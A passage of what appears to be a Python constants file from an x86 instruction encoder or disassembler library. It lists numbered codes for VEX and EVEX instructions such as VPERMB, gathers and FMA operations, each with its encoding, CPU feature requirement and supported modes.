EVEX_VPERMB_YMM_K1Z_YMM_YMMM256: int = 3276
"""
``VPERMB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W0 8D /r``
``AVX512VL and AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMB_ZMM_K1Z_ZMM_ZMMM512: int = 3277
"""
``VPERMB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W0 8D /r``
``AVX512_VBMI``
``16/32/64-bit``
"""
EVEX_VPERMW_XMM_K1Z_XMM_XMMM128: int = 3278
"""
``VPERMW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 8D /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMW_YMM_K1Z_YMM_YMMM256: int = 3279
"""
``VPERMW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 8D /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPERMW_ZMM_K1Z_ZMM_ZMMM512: int = 3280
"""
``VPERMW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 8D /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_VPMASKMOVD_M128_XMM_XMM: int = 3281
"""
``VPMASKMOVD m128, xmm1, xmm2``
``VEX.128.66.0F38.W0 8E /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPMASKMOVD_M256_YMM_YMM: int = 3282
"""
``VPMASKMOVD m256, ymm1, ymm2``
``VEX.256.66.0F38.W0 8E /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPMASKMOVQ_M128_XMM_XMM: int = 3283
"""
``VPMASKMOVQ m128, xmm1, xmm2``
``VEX.128.66.0F38.W1 8E /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPMASKMOVQ_M256_YMM_YMM: int = 3284
"""
``VPMASKMOVQ m256, ymm1, ymm2``
``VEX.256.66.0F38.W1 8E /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSHUFBITQMB_KR_K1_XMM_XMMM128: int = 3285
"""
``VPSHUFBITQMB k1 {k2}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W0 8F /r``
``AVX512VL and AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPSHUFBITQMB_KR_K1_YMM_YMMM256: int = 3286
"""
``VPSHUFBITQMB k1 {k2}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W0 8F /r``
``AVX512VL and AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPSHUFBITQMB_KR_K1_ZMM_ZMMM512: int = 3287
"""
``VPSHUFBITQMB k1 {k2}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W0 8F /r``
``AVX512_BITALG``
``16/32/64-bit``
"""
VEX_VPGATHERDD_XMM_VM32X_XMM: int = 3288
"""
``VPGATHERDD xmm1, vm32x, xmm2``
``VEX.128.66.0F38.W0 90 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPGATHERDD_YMM_VM32Y_YMM: int = 3289
"""
``VPGATHERDD ymm1, vm32y, ymm2``
``VEX.256.66.0F38.W0 90 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPGATHERDQ_XMM_VM32X_XMM: int = 3290
"""
``VPGATHERDQ xmm1, vm32x, xmm2``
``VEX.128.66.0F38.W1 90 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPGATHERDQ_YMM_VM32X_YMM: int = 3291
"""
``VPGATHERDQ ymm1, vm32x, ymm2``
``VEX.256.66.0F38.W1 90 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPGATHERDD_XMM_K1_VM32X: int = 3292
"""
``VPGATHERDD xmm1 {k1}, vm32x``
``EVEX.128.66.0F38.W0 90 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERDD_YMM_K1_VM32Y: int = 3293
"""
``VPGATHERDD ymm1 {k1}, vm32y``
``EVEX.256.66.0F38.W0 90 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERDD_ZMM_K1_VM32Z: int = 3294
"""
``VPGATHERDD zmm1 {k1}, vm32z``
``EVEX.512.66.0F38.W0 90 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERDQ_XMM_K1_VM32X: int = 3295
"""
``VPGATHERDQ xmm1 {k1}, vm32x``
``EVEX.128.66.0F38.W1 90 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERDQ_YMM_K1_VM32X: int = 3296
"""
``VPGATHERDQ ymm1 {k1}, vm32x``
``EVEX.256.66.0F38.W1 90 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERDQ_ZMM_K1_VM32Y: int = 3297
"""
``VPGATHERDQ zmm1 {k1}, vm32y``
``EVEX.512.66.0F38.W1 90 /vsib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPGATHERQD_XMM_VM64X_XMM: int = 3298
"""
``VPGATHERQD xmm1, vm64x, xmm2``
``VEX.128.66.0F38.W0 91 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPGATHERQD_XMM_VM64Y_XMM: int = 3299
"""
``VPGATHERQD xmm1, vm64y, xmm2``
``VEX.256.66.0F38.W0 91 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPGATHERQQ_XMM_VM64X_XMM: int = 3300
"""
``VPGATHERQQ xmm1, vm64x, xmm2``
``VEX.128.66.0F38.W1 91 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPGATHERQQ_YMM_VM64Y_YMM: int = 3301
"""
``VPGATHERQQ ymm1, vm64y, ymm2``
``VEX.256.66.0F38.W1 91 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPGATHERQD_XMM_K1_VM64X: int = 3302
"""
``VPGATHERQD xmm1 {k1}, vm64x``
``EVEX.128.66.0F38.W0 91 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERQD_XMM_K1_VM64Y: int = 3303
"""
``VPGATHERQD xmm1 {k1}, vm64y``
``EVEX.256.66.0F38.W0 91 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERQD_YMM_K1_VM64Z: int = 3304
"""
``VPGATHERQD ymm1 {k1}, vm64z``
``EVEX.512.66.0F38.W0 91 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERQQ_XMM_K1_VM64X: int = 3305
"""
``VPGATHERQQ xmm1 {k1}, vm64x``
``EVEX.128.66.0F38.W1 91 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERQQ_YMM_K1_VM64Y: int = 3306
"""
``VPGATHERQQ ymm1 {k1}, vm64y``
``EVEX.256.66.0F38.W1 91 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPGATHERQQ_ZMM_K1_VM64Z: int = 3307
"""
``VPGATHERQQ zmm1 {k1}, vm64z``
``EVEX.512.66.0F38.W1 91 /vsib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VGATHERDPS_XMM_VM32X_XMM: int = 3308
"""
``VGATHERDPS xmm1, vm32x, xmm2``
``VEX.128.66.0F38.W0 92 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VGATHERDPS_YMM_VM32Y_YMM: int = 3309
"""
``VGATHERDPS ymm1, vm32y, ymm2``
``VEX.256.66.0F38.W0 92 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VGATHERDPD_XMM_VM32X_XMM: int = 3310
"""
``VGATHERDPD xmm1, vm32x, xmm2``
``VEX.128.66.0F38.W1 92 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VGATHERDPD_YMM_VM32X_YMM: int = 3311
"""
``VGATHERDPD ymm1, vm32x, ymm2``
``VEX.256.66.0F38.W1 92 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VGATHERDPS_XMM_K1_VM32X: int = 3312
"""
``VGATHERDPS xmm1 {k1}, vm32x``
``EVEX.128.66.0F38.W0 92 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERDPS_YMM_K1_VM32Y: int = 3313
"""
``VGATHERDPS ymm1 {k1}, vm32y``
``EVEX.256.66.0F38.W0 92 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERDPS_ZMM_K1_VM32Z: int = 3314
"""
``VGATHERDPS zmm1 {k1}, vm32z``
``EVEX.512.66.0F38.W0 92 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERDPD_XMM_K1_VM32X: int = 3315
"""
``VGATHERDPD xmm1 {k1}, vm32x``
``EVEX.128.66.0F38.W1 92 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERDPD_YMM_K1_VM32X: int = 3316
"""
``VGATHERDPD ymm1 {k1}, vm32x``
``EVEX.256.66.0F38.W1 92 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERDPD_ZMM_K1_VM32Y: int = 3317
"""
``VGATHERDPD zmm1 {k1}, vm32y``
``EVEX.512.66.0F38.W1 92 /vsib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VGATHERQPS_XMM_VM64X_XMM: int = 3318
"""
``VGATHERQPS xmm1, vm64x, xmm2``
``VEX.128.66.0F38.W0 93 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VGATHERQPS_XMM_VM64Y_XMM: int = 3319
"""
``VGATHERQPS xmm1, vm64y, xmm2``
``VEX.256.66.0F38.W0 93 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VGATHERQPD_XMM_VM64X_XMM: int = 3320
"""
``VGATHERQPD xmm1, vm64x, xmm2``
``VEX.128.66.0F38.W1 93 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VGATHERQPD_YMM_VM64Y_YMM: int = 3321
"""
``VGATHERQPD ymm1, vm64y, ymm2``
``VEX.256.66.0F38.W1 93 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VGATHERQPS_XMM_K1_VM64X: int = 3322
"""
``VGATHERQPS xmm1 {k1}, vm64x``
``EVEX.128.66.0F38.W0 93 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERQPS_XMM_K1_VM64Y: int = 3323
"""
``VGATHERQPS xmm1 {k1}, vm64y``
``EVEX.256.66.0F38.W0 93 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERQPS_YMM_K1_VM64Z: int = 3324
"""
``VGATHERQPS ymm1 {k1}, vm64z``
``EVEX.512.66.0F38.W0 93 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERQPD_XMM_K1_VM64X: int = 3325
"""
``VGATHERQPD xmm1 {k1}, vm64x``
``EVEX.128.66.0F38.W1 93 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERQPD_YMM_K1_VM64Y: int = 3326
"""
``VGATHERQPD ymm1 {k1}, vm64y``
``EVEX.256.66.0F38.W1 93 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VGATHERQPD_ZMM_K1_VM64Z: int = 3327
"""
``VGATHERQPD zmm1 {k1}, vm64z``
``EVEX.512.66.0F38.W1 93 /vsib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADDSUB132PS_XMM_XMM_XMMM128: int = 3328
"""
``VFMADDSUB132PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 96 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB132PS_YMM_YMM_YMMM256: int = 3329
"""
``VFMADDSUB132PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 96 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB132PD_XMM_XMM_XMMM128: int = 3330
"""
``VFMADDSUB132PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 96 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB132PD_YMM_YMM_YMMM256: int = 3331
"""
``VFMADDSUB132PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 96 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PS_XMM_K1Z_XMM_XMMM128B32: int = 3332
"""
``VFMADDSUB132PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 96 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PS_YMM_K1Z_YMM_YMMM256B32: int = 3333
"""
``VFMADDSUB132PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 96 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3334
"""
``VFMADDSUB132PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 96 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PD_XMM_K1Z_XMM_XMMM128B64: int = 3335
"""
``VFMADDSUB132PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 96 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PD_YMM_K1Z_YMM_YMMM256B64: int = 3336
"""
``VFMADDSUB132PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 96 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3337
"""
``VFMADDSUB132PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 96 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMSUBADD132PS_XMM_XMM_XMMM128: int = 3338
"""
``VFMSUBADD132PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 97 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD132PS_YMM_YMM_YMMM256: int = 3339
"""
``VFMSUBADD132PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 97 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD132PD_XMM_XMM_XMMM128: int = 3340
"""
``VFMSUBADD132PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 97 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD132PD_YMM_YMM_YMMM256: int = 3341
"""
``VFMSUBADD132PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 97 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PS_XMM_K1Z_XMM_XMMM128B32: int = 3342
"""
``VFMSUBADD132PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 97 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PS_YMM_K1Z_YMM_YMMM256B32: int = 3343
"""
``VFMSUBADD132PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 97 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3344
"""
``VFMSUBADD132PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 97 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PD_XMM_K1Z_XMM_XMMM128B64: int = 3345
"""
``VFMSUBADD132PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 97 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PD_YMM_K1Z_YMM_YMMM256B64: int = 3346
"""
``VFMSUBADD132PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 97 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3347
"""
``VFMSUBADD132PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 97 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADD132PS_XMM_XMM_XMMM128: int = 3348
"""
``VFMADD132PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 98 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD132PS_YMM_YMM_YMMM256: int = 3349
"""
``VFMADD132PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 98 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD132PD_XMM_XMM_XMMM128: int = 3350
"""
``VFMADD132PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 98 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD132PD_YMM_YMM_YMMM256: int = 3351
"""
``VFMADD132PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 98 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADD132PS_XMM_K1Z_XMM_XMMM128B32: int = 3352
"""
``VFMADD132PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 98 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD132PS_YMM_K1Z_YMM_YMMM256B32: int = 3353
"""
``VFMADD132PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 98 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3354
"""
``VFMADD132PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 98 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD132PD_XMM_K1Z_XMM_XMMM128B64: int = 3355
"""
``VFMADD132PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 98 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD132PD_YMM_K1Z_YMM_YMMM256B64: int = 3356
"""
``VFMADD132PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 98 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3357
"""
``VFMADD132PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 98 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADD132SS_XMM_XMM_XMMM32: int = 3358
"""
``VFMADD132SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 99 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD132SD_XMM_XMM_XMMM64: int = 3359
"""
``VFMADD132SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 99 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADD132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3360
"""
``VFMADD132SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 99 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3361
"""
``VFMADD132SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 99 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMSUB132PS_XMM_XMM_XMMM128: int = 3362
"""
``VFMSUB132PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 9A /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB132PS_YMM_YMM_YMMM256: int = 3363
"""
``VFMSUB132PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 9A /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB132PD_XMM_XMM_XMMM128: int = 3364
"""
``VFMSUB132PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 9A /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB132PD_YMM_YMM_YMMM256: int = 3365
"""
``VFMSUB132PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 9A /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUB132PS_XMM_K1Z_XMM_XMMM128B32: int = 3366
"""
``VFMSUB132PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 9A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB132PS_YMM_K1Z_YMM_YMMM256B32: int = 3367
"""
``VFMSUB132PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 9A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3368
"""
``VFMSUB132PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 9A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB132PD_XMM_K1Z_XMM_XMMM128B64: int = 3369
"""
``VFMSUB132PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 9A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB132PD_YMM_K1Z_YMM_YMMM256B64: int = 3370
"""
``VFMSUB132PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 9A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3371
"""
``VFMSUB132PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 9A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_V4FMADDPS_ZMM_K1Z_ZMMP3_M128: int = 3372
"""
``V4FMADDPS zmm1 {k1}{z}, zmm2+3, m128``
``EVEX.512.F2.0F38.W0 9A /r``
``AVX512_4FMAPS``
``16/32/64-bit``
"""
VEX_VFMSUB132SS_XMM_XMM_XMMM32: int = 3373
"""
``VFMSUB132SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 9B /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB132SD_XMM_XMM_XMMM64: int = 3374
"""
``VFMSUB132SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 9B /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUB132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3375
"""
``VFMSUB132SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 9B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3376
"""
``VFMSUB132SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 9B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_V4FMADDSS_XMM_K1Z_XMMP3_M128: int = 3377
"""
``V4FMADDSS xmm1 {k1}{z}, xmm2+3, m128``
``EVEX.LIG.F2.0F38.W0 9B /r``
``AVX512_4FMAPS``
``16/32/64-bit``
"""
VEX_VFNMADD132PS_XMM_XMM_XMMM128: int = 3378
"""
``VFNMADD132PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 9C /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD132PS_YMM_YMM_YMMM256: int = 3379
"""
``VFNMADD132PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 9C /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD132PD_XMM_XMM_XMMM128: int = 3380
"""
``VFNMADD132PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 9C /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD132PD_YMM_YMM_YMMM256: int = 3381
"""
``VFNMADD132PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 9C /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMADD132PS_XMM_K1Z_XMM_XMMM128B32: int = 3382
"""
``VFNMADD132PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 9C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD132PS_YMM_K1Z_YMM_YMMM256B32: int = 3383
"""
``VFNMADD132PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 9C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3384
"""
``VFNMADD132PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 9C /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD132PD_XMM_K1Z_XMM_XMMM128B64: int = 3385
"""
``VFNMADD132PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 9C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD132PD_YMM_K1Z_YMM_YMMM256B64: int = 3386
"""
``VFNMADD132PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 9C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3387
"""
``VFNMADD132PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 9C /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMADD132SS_XMM_XMM_XMMM32: int = 3388
"""
``VFNMADD132SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 9D /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD132SD_XMM_XMM_XMMM64: int = 3389
"""
``VFNMADD132SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 9D /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMADD132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3390
"""
``VFNMADD132SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 9D /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3391
"""
``VFNMADD132SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 9D /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMSUB132PS_XMM_XMM_XMMM128: int = 3392
"""
``VFNMSUB132PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 9E /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB132PS_YMM_YMM_YMMM256: int = 3393
"""
``VFNMSUB132PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 9E /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB132PD_XMM_XMM_XMMM128: int = 3394
"""
``VFNMSUB132PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 9E /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB132PD_YMM_YMM_YMMM256: int = 3395
"""
``VFNMSUB132PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 9E /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PS_XMM_K1Z_XMM_XMMM128B32: int = 3396
"""
``VFNMSUB132PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 9E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PS_YMM_K1Z_YMM_YMMM256B32: int = 3397
"""
``VFNMSUB132PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 9E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3398
"""
``VFNMSUB132PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 9E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PD_XMM_K1Z_XMM_XMMM128B64: int = 3399
"""
``VFNMSUB132PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 9E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PD_YMM_K1Z_YMM_YMMM256B64: int = 3400
"""
